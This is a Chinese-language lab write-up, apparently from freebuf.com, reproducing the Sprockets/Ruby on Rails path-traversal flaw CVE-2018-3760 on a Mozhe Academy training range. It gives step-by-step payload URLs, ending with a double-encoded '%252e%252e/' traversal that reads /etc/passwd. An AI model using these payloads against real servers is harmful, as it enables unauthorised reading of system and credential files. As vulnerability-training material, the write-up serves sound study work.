墨者学院之Ruby On Rails 路径穿越漏洞(CVE-2018-3760)复现 – 作者:tqlyeyu

0x01 漏洞详情

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。

Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上的任意文件。

0x02 漏洞利用

访问墨者学院的靶场

image.png
此时我们去网上查找一些关于cve-2018-3760的资料,知道了要在assets目录下尝试读取file:///etc/passwd

paload:http://219.153.49.228:44425/assets/file:///etc/passwd

image.png
从箭头处可以看出,似乎将我们的//给过滤掉了,我们对//使用url编码方式进行绕过。

payload:http://219.153.49.228:44425/assets/file:%2f%2f/etc/passwd

image.png
可以看到,它说/etc/passwd/不在一个指定的路径下,那我们访问上图列出来的一个任意路径再通过目录穿越的方式来进行任意文件读取。在目录穿越的时候需要注意,如果审计代码的话会发现对..进行了过滤,而且漏洞成因是因为存在2次解码,那我们对../中的..进行二次编码,第一次编码为%2e%2e,第二次2e保持不变,%编码为%25,所以目录穿越的../我们写成%252e%252e/

payload:http://219.153.49.228:44425/assets/file:%2f%2f/usr/src/blog/app/assets/config/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

成功得到key值

image.png

来源:freebuf.com 2021-03-14 11:56:11 by: tqlyeyu

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论